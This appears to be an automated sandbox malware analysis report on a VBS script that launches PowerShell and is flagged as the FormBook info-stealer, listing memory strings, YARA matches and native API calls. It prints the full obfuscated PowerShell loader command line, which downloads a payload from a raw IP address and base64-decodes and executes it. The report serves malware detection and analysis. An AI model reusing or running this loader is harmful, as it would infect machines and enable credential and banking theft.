Source: wscript.exe, 00000000.00000003.1653111726.00000279AEF31000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.pki.admin.ch/cps/CPS_2_16_756_1_17_3_21_1.pdf0:
Source: wscript.exe, 00000000.00000003.1652963346.00000279AEF76000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0
Source: wscript.exe, 00000000.00000003.1653014801.00000279AEF4A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.pki.gva.es/cps0
Source: wscript.exe, 00000000.00000003.1653014801.00000279AEF4A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.pki.gva.es/cps0%
Source: wscript.exe, 00000000.00000003.1652842936.00000279AEF86000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.pkioverheid.nl/policies/root-policy-G20
Source: wscript.exe, 00000000.00000003.1652756546.00000279AF063000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652785972.00000279AF073000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.pkioverheid.nl/policies/root-policy0
Source: wscript.exe, 00000000.00000003.1653014801.00000279AEF4A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.postsignum.cz/crl/psrootqca2.crl02
Source: wscript.exe, 00000000.00000003.1653177020.00000279AD0D3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.quovadis.bm0
Source: wscript.exe, 00000000.00000003.1652756546.00000279AF063000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: wscript.exe, 00000000.00000003.1653014801.00000279AEF4A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.rcsc.lt/repository0
Source: wscript.exe, 00000000.00000003.1652842936.00000279AEF86000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sk.ee/cps/0
Source: wscript.exe, 00000000.00000003.1652842936.00000279AEF86000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sk.ee/juur/crl/0
Source: wscript.exe, 00000000.00000003.1652756546.00000279AF063000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652842936.00000279AEF86000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.ssc.lt/cps03
Source: wscript.exe, 00000000.00000003.1653177020.00000279AD0D3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652842936.00000279AEF86000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.suscerte.gob.ve/dpc0
Source: wscript.exe, 00000000.00000003.1653177020.00000279AD0D3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652842936.00000279AEF86000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.suscerte.gob.ve/lcr0#
Source: wscript.exe, 00000000.00000003.1652994852.00000279AEF67000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl
Source: wscript.exe, 00000000.00000003.1653057324.00000279AEF6D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1653014801.00000279AEF6D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652994852.00000279AEF67000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.uce.gub.uy/acrn/acrn.crl0
Source: wscript.exe, 00000000.00000003.1653057324.00000279AEF6D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1653014801.00000279AEF6D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652994852.00000279AEF67000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.uce.gub.uy/informacion-tecnica/politicas/cp_acrn.pdf0G
Source: wscript.exe, 00000000.00000003.1653014801.00000279AEF4A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www2.postsignum.cz/crl/psrootqca2.crl01
Source: powershell.exe, 00000001.00000002.2117543638.0000024A80001000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.2003727475.000000000605E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.2003727475.000000000605E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.2003727475.000000000605E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: wscript.exe, 00000000.00000003.1653193135.00000279AEF2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1653129148.00000279AEF29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://crl.anf.es/AC/ANFServerCA.crl0
Source: wscript.exe, 00000000.00000002.1681356282.00000279AD0A1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1680693920.00000279AD0A1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679408383.00000279AD0A1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d.symc0
Source: wscript.exe, 00000000.00000002.1681356282.00000279AD0A1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1681356282.00000279AD05D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1680693920.00000279AD0A1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679408383.00000279AD022000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652064776.00000279AD0A4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679408383.00000279AD0A1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1680693920.00000279AD05D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652129352.00000279AD0A4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/cps0%
Source: wscript.exe, 00000000.00000002.1681356282.00000279AD05D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679408383.00000279AD022000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652064776.00000279AD0A4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1680693920.00000279AD05D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652129352.00000279AD0A4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/rpa0
Source: wscript.exe, 00000000.00000002.1681356282.00000279AD0A1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1680693920.00000279AD0A1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652064776.00000279AD0A4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1679408383.00000279AD0A1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652129352.00000279AD0A4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/rpa0.
Source: powershell.exe, 00000004.00000002.2000284208.0000000005145000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.2117543638.0000024A813F4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000001.00000002.2218474708.0000024A90076000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2003727475.000000000605E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: wscript.exe, 00000000.00000003.1653177020.00000279AD0D3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: wscript.exe, 00000000.00000003.1652756546.00000279AF063000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://rca.e-szigno.hu/ocsp0-
Source: wscript.exe, 00000000.00000003.1652756546.00000279AF063000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1652785972.00000279AF073000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://repository.luxtrust.lu0
Source: wscript.exe, 00000000.00000003.1652842936.00000279AEF86000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://repository.tsp.zetes.com0
Source: wscript.exe, 00000000.00000003.1652842936.00000279AEF86000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://web.certicamara.com/marco-legal0Z
Source: wscript.exe, 00000000.00000003.1653193135.00000279AEF2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1653129148.00000279AEF29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.anf.es/AC/ACTAS/789230
Source: wscript.exe, 00000000.00000003.1653193135.00000279AEF2C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1653129148.00000279AEF29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.anf.es/AC/ANFServerCA.crl0
Source: wscript.exe, 00000000.00000003.1662983945.00000279AEEB7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1653129148.00000279AEF29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.anf.es/address/)1(0&
Source: wscript.exe, 00000000.00000003.1652756546.00000279AF063000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.catcert.net/verarrel
Source: wscript.exe, 00000000.00000003.1652756546.00000279AF063000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.catcert.net/verarrel05
Source: wscript.exe, 00000000.00000003.1652785972.00000279AF073000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.netlock.hu/docs/
Source: wscript.exe, 00000000.00000003.1653057324.00000279AEF3E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.netlock.net/docs
Source: wscript.exe, 00000000.00000003.1652756546.00000279AF063000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://wwww.certigna.fr/autorites/0m

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 00000009.00000002.2260878496.0000000002ED0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2945407561.0000000000860000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2286239677.0000000023700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2945907117.0000000000DA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2945047764.0000000000600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2944308343.00000000004C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2945916928.0000000002C00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: amsi64_7556.amsi.csv, type: OTHER Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi32_7748.amsi.csv, type: OTHER Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 00000009.00000002.2260878496.0000000002ED0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2945407561.0000000000860000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.2286239677.0000000023700000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2945907117.0000000000DA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.2945047764.0000000000600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.2944308343.00000000004C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2945916928.0000000002C00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: powershell.exe PID: 7556, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7748, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Potential malicious VBS script found (suspicious strings)
Source: Initial file: Call Analfabetismen.ShellExecute("P" & Boltres & ".e" + "xe", Flnsning, "", "", Trskafters)
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 3276
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: Commandline size = 3276
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 3276 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: Commandline size = 3276 Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Kildematerialet107 = 1;$Kernevaabnet='Substrin';$Kernevaabnet+='g';Function ciceroner($Bldgringer){$Cholecystogram=$Bldgringer.Length-$Kildematerialet107;For($Brandsituationerne=1; $Brandsituationerne -lt $Cholecystogram; $Brandsituationerne+=(2)){$Categoricalness+=$Bldgringer.$Kernevaabnet.Invoke($Brandsituationerne, $Kildematerialet107);}$Categoricalness;}function Nonsensitizeds($whap){& ($Skimpiness) ($whap);}$Autoindtrks=ciceroner 'PM,o z i l lOaK/,5K. 0 ( W.iAnRd oUw sC NETC ,1S0.. 0M;I W i nu6 4.;W PxS6R4 ;, rRvK: 1 2B1A. 0 )S cG.egcKk oA/ 2E0R1S0 0l1 0Y1T .FTiOr,e,f o.xP/n1s2U1G.,0B ';$Hypsilophodontoid21=ciceroner 'KU.s ePr - A g e,nPt ';$Lydsidernes=ciceroner 'Uh tOtMp,:./ /L8B7 . 1 2 1w..1 0.5R.g1 6U3 /.BFo,lPd,kClUuSbHbSeCn s,. p cKzN ';$jvnhjde=ciceroner ',>, ';$Skimpiness=ciceroner 'AiJeUx, ';$equichangeable='Jynginae';Nonsensitizeds (ciceroner '.S,eRt -BC oMn,tPe nPtM -ZPSa tNh WT :E\SFTeGi ..t xCtU G-,V all,u,eR $AeSq uIipc,hFa nPg eBa b l.e ;M ');Nonsensitizeds (ciceroner ',i.f. E(BtKeKs tE- p a t h TB: \AFAe i..stGxTt ),{ eUxIiMt }W; ');$Nutmegged = ciceroner 'QeBc.hSoU %taOp p dSast aT%,\AcbeJi,l.oamEe.t eIr s,.BPBrAiU H&,&. eDc,hDoB $. ';Nonsensitizeds (ciceroner ' $ gSlRo bTa l.:,C oTnNv eSt h.=K(.c mDdT a/ac $RN uFt.mMe g,gPeFdL)P ');Nonsensitizeds (ciceroner 'F$OgKl o b aAlS:TL itn i e sFk r.i vUeVrAsr=F$NLByDdSs i d,eTrInReSs,.Ns.p lLi t ( $Hj.v n hFjLd,e,). ');$Lydsidernes=$Linieskrivers[0];Nonsensitizeds (ciceroner 'T$Og lEo b aUlr: RAe fSe.r eLn c e.v rTkDe rw=PNCe w - O b j.ePcStU .ShyPsPt eNmD. N e.tG.JWEe bFC.lTi e,n t. ');Nonsensitizeds (ciceroner 'U$UR.eKfAe rDe,nsc e,v r.kIe rG.VH e aPd eDr,sO[R$MHRyVpFs iLlAo.pFhIo dGo,n tDo.iIdu2,1O].=.$UA uFt oUi n,d t r.k sL ');$Superrheumatized=ciceroner 'LR.eHfSeFr e,n cte.vBrVkOeVr .IDKo w nPl oNa d F i l.ec( $.LIy,d.sBiIdBeSrSn.e.sD, $.BAe,tTa g.eBtSh,e.dIsG), ';$Superrheumatized=$Conveth[1]+$Superrheumatized;$Betagetheds=$Conveth[0];Nonsensitizeds (ciceroner ' $AgFl o,bBa.l.:MDTvHnKl d.eEnC=I(UTFe s,tR- PMa.t.h $TBPe tSaMgMe tNhKe d s ) ');while (!$Dvnlden) {Nonsensitizeds (ciceroner '.$PgFlToSb aPlS: OSdTiKnSi aNn = $.t r u.eO ') ;Nonsensitizeds $Superrheumatized;Nonsensitizeds (ciceroner ' SWtBa.r.t -TS l.e e pS E4. ');Nonsensitizeds (ciceroner 'B$ g lEo.bCaWl,:,D vBnBlPdBeIn = (RTUe,s,tR- P.aSt ha B$,Bse t aAg e,tDh e.dDsP) ') ;Nonsensitizeds (ciceroner 'D$ gMlQo b,aCln: B.uVs t iDa n =F$RgSl.o bSaDlB:OO uOtSs m o k.e s +A+ % $,L iEn,iae sHkSriiBv eSrMsE.Kc.obuRn t ') ;$Lydsidernes=$Linieskrivers[$Bustian];}Nonsensitizeds (ciceroner 'G$ g l o bua l,: A mFpPhSo.lOyPt e,2,0m4 D=, SG e,t -,C o.n t eSn tS $ BBe.tdaEgEe t h eMd,s. ');Nonsensitizeds (ciceroner 'E$Fg lCoAbUa,lC:HSGtDa mSmAe,r,i nEgFlSyD F=. W[LS y,sWtKeBmT.TCCosn vSeSrAt.]R:G:CFqr oTm,BKa s eS6K4 SRt,r iVnUgS(,$ A,mBpPhJoAl.yItTe 2 0,4 )H ');Nonsensitizeds (c
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Kildematerialet107 = 1;$Kernevaabnet='Substrin';$Kernevaabnet+='g';Function ciceroner($Bldgringer){$Cholecystogram=$Bldgringer.Length-$Kildematerialet107;For($Brandsituationerne=1; $Brandsituationerne -lt $Cholecystogram; $Brandsituationerne+=(2)){$Categoricalness+=$Bldgringer.$Kernevaabnet.Invoke($Brandsituationerne, $Kildematerialet107);}$Categoricalness;}function Nonsensitizeds($whap){& ($Skimpiness) ($whap);}$Autoindtrks=ciceroner 'PM,o z i l lOaK/,5K. 0 ( W.iAnRd oUw sC NETC ,1S0.. 0M;I W i nu6 4.;W PxS6R4 ;, rRvK: 1 2B1A. 0 )S cG.egcKk oA/ 2E0R1S0 0l1 0Y1T .FTiOr,e,f o.xP/n1s2U1G.,0B ';$Hypsilophodontoid21=ciceroner 'KU.s ePr - A g e,nPt ';$Lydsidernes=ciceroner 'Uh tOtMp,:./ /L8B7 . 1 2 1w..1 0.5R.g1 6U3 /.BFo,lPd,kClUuSbHbSeCn s,. p cKzN ';$jvnhjde=ciceroner ',>, ';$Skimpiness=ciceroner 'AiJeUx, ';$equichangeable='Jynginae';Nonsensitizeds (ciceroner '.S,eRt -BC oMn,tPe nPtM -ZPSa tNh WT :E\SFTeGi ..t xCtU G-,V all,u,eR $AeSq uIipc,hFa nPg eBa b l.e ;M ');Nonsensitizeds (ciceroner ',i.f. E(BtKeKs tE- p a t h TB: \AFAe i..stGxTt ),{ eUxIiMt }W; ');$Nutmegged = ciceroner 'QeBc.hSoU %taOp p dSast aT%,\AcbeJi,l.oamEe.t eIr s,.BPBrAiU H&,&. eDc,hDoB $. ';Nonsensitizeds (ciceroner ' $ gSlRo bTa l.:,C oTnNv eSt h.=K(.c mDdT a/ac $RN uFt.mMe g,gPeFdL)P ');Nonsensitizeds (ciceroner 'F$OgKl o b aAlS:TL itn i e sFk r.i vUeVrAsr=F$NLByDdSs i d,eTrInReSs,.Ns.p lLi t ( $Hj.v n hFjLd,e,). ');$Lydsidernes=$Linieskrivers[0];Nonsensitizeds (ciceroner 'T$Og lEo b aUlr: RAe fSe.r eLn c e.v rTkDe rw=PNCe w - O b j.ePcStU .ShyPsPt eNmD. N e.tG.JWEe bFC.lTi e,n t. ');Nonsensitizeds (ciceroner 'U$UR.eKfAe rDe,nsc e,v r.kIe rG.VH e aPd eDr,sO[R$MHRyVpFs iLlAo.pFhIo dGo,n tDo.iIdu2,1O].=.$UA uFt oUi n,d t r.k sL ');$Superrheumatized=ciceroner 'LR.eHfSeFr e,n cte.vBrVkOeVr .IDKo w nPl oNa d F i l.ec( $.LIy,d.sBiIdBeSrSn.e.sD, $.BAe,tTa g.eBtSh,e.dIsG), ';$Superrheumatized=$Conveth[1]+$Superrheumatized;$Betagetheds=$Conveth[0];Nonsensitizeds (ciceroner ' $AgFl o,bBa.l.:MDTvHnKl d.eEnC=I(UTFe s,tR- PMa.t.h $TBPe tSaMgMe tNhKe d s ) ');while (!$Dvnlden) {Nonsensitizeds (ciceroner '.$PgFlToSb aPlS: OSdTiKnSi aNn = $.t r u.eO ') ;Nonsensitizeds $Superrheumatized;Nonsensitizeds (ciceroner ' SWtBa.r.t -TS l.e e pS E4. ');Nonsensitizeds (ciceroner 'B$ g lEo.bCaWl,:,D vBnBlPdBeIn = (RTUe,s,tR- P.aSt ha B$,Bse t aAg e,tDh e.dDsP) ') ;Nonsensitizeds (ciceroner 'D$ gMlQo b,aCln: B.uVs t iDa n =F$RgSl.o bSaDlB:OO uOtSs m o k.e s +A+ % $,L iEn,iae sHkSriiBv eSrMsE.Kc.obuRn t ') ;$Lydsidernes=$Linieskrivers[$Bustian];}Nonsensitizeds (ciceroner 'G$ g l o bua l,: A mFpPhSo.lOyPt e,2,0m4 D=, SG e,t -,C o.n t eSn tS $ BBe.tdaEgEe t h eMd,s. ');Nonsensitizeds (ciceroner 'E$Fg lCoAbUa,lC:HSGtDa mSmAe,r,i nEgFlSyD F=. W[LS y,sWtKeBmT.TCCosn vSeSrAt.]R:G:CFqr oTm,BKa s eS6K4 SRt,r iVnUgS(,$ A,mBpPhJoAl.yItTe 2 0,4 )H ');Nonsensitizeds (c Jump to behavior
Contains functionality to call native functions
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A235C0 NtCreateMutant,LdrInitializeThunk, 9_2_22A235C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A22B60 NtClose,LdrInitializeThunk, 9_2_22A22B60
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A22C70 NtFreeVirtualMemory,LdrInitializeThunk, 9_2_22A22C70
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A22DF0 NtQuerySystemInformation,LdrInitializeThunk, 9_2_22A22DF0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04564650 NtSuspendThread,LdrInitializeThunk, 11_2_04564650
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04564340 NtSetContextThread,LdrInitializeThunk, 11_2_04564340
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562C70 NtFreeVirtualMemory,LdrInitializeThunk, 11_2_04562C70
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562C60 NtCreateKey,LdrInitializeThunk, 11_2_04562C60
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562CA0 NtQueryInformationToken,LdrInitializeThunk, 11_2_04562CA0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562D10 NtMapViewOfSection,LdrInitializeThunk, 11_2_04562D10
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562D30 NtUnmapViewOfSection,LdrInitializeThunk, 11_2_04562D30
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562DD0 NtDelayExecution,LdrInitializeThunk, 11_2_04562DD0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562DF0 NtQuerySystemInformation,LdrInitializeThunk, 11_2_04562DF0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562EE0 NtQueueApcThread,LdrInitializeThunk, 11_2_04562EE0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562E80 NtReadVirtualMemory,LdrInitializeThunk, 11_2_04562E80
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562F30 NtCreateSection,LdrInitializeThunk, 11_2_04562F30
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562FE0 NtCreateFile,LdrInitializeThunk, 11_2_04562FE0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562FB0 NtResumeThread,LdrInitializeThunk, 11_2_04562FB0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562AD0 NtReadFile,LdrInitializeThunk, 11_2_04562AD0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562AF0 NtWriteFile,LdrInitializeThunk, 11_2_04562AF0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562B60 NtClose,LdrInitializeThunk, 11_2_04562B60
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562BF0 NtAllocateVirtualMemory,LdrInitializeThunk, 11_2_04562BF0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562BE0 NtQueryValueKey,LdrInitializeThunk, 11_2_04562BE0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562BA0 NtEnumerateValueKey,LdrInitializeThunk, 11_2_04562BA0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045635C0 NtCreateMutant,LdrInitializeThunk, 11_2_045635C0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04563090 NtSetValueKey,LdrInitializeThunk, 11_2_04563090
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045639B0 NtGetContextThread,LdrInitializeThunk, 11_2_045639B0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562C00 NtQueryInformationProcess, 11_2_04562C00
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562CC0 NtQueryVirtualMemory, 11_2_04562CC0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562CF0 NtOpenProcess, 11_2_04562CF0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562D00 NtSetInformationFile, 11_2_04562D00
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562DB0 NtEnumerateKey, 11_2_04562DB0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562E30 NtWriteVirtualMemory, 11_2_04562E30
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562EA0 NtAdjustPrivilegesToken, 11_2_04562EA0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562F60 NtCreateProcessEx, 11_2_04562F60
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562F90 NtProtectVirtualMemory, 11_2_04562F90
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562FA0 NtQuerySection, 11_2_04562FA0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562AB0 NtWaitForSingleObject, 11_2_04562AB0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04562B80 NtQueryInformationFile, 11_2_04562B80
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04563010 NtOpenDirectoryObject, 11_2_04563010
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04563D70 NtOpenThread, 11_2_04563D70
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_04563D10 NtOpenProcessToken, 11_2_04563D10
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004E89A0 NtCreateFile, 11_2_004E89A0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004E8AD0 NtReadFile, 11_2_004E8AD0
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004E8B90 NtDeleteFile, 11_2_004E8B90
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004E8C10 NtClose, 11_2_004E8C10
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004E8D50 NtAllocateVirtualMemory, 11_2_004E8D50
Detected potential crypto function
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_00007FFD9B87CAD6 1_2_00007FFD9B87CAD6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_00007FFD9B87D882 1_2_00007FFD9B87D882
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_08AC18E0 4_2_08AC18E0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_08AC1010 4_2_08AC1010
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_08AC0CC8 4_2_08AC0CC8
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A912ED 9_2_22A912ED
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0D2F0 9_2_22A0D2F0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A0B2C0 9_2_22A0B2C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22A90274 9_2_22A90274
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 9_2_22AB03E6 9_2_22AB03E6
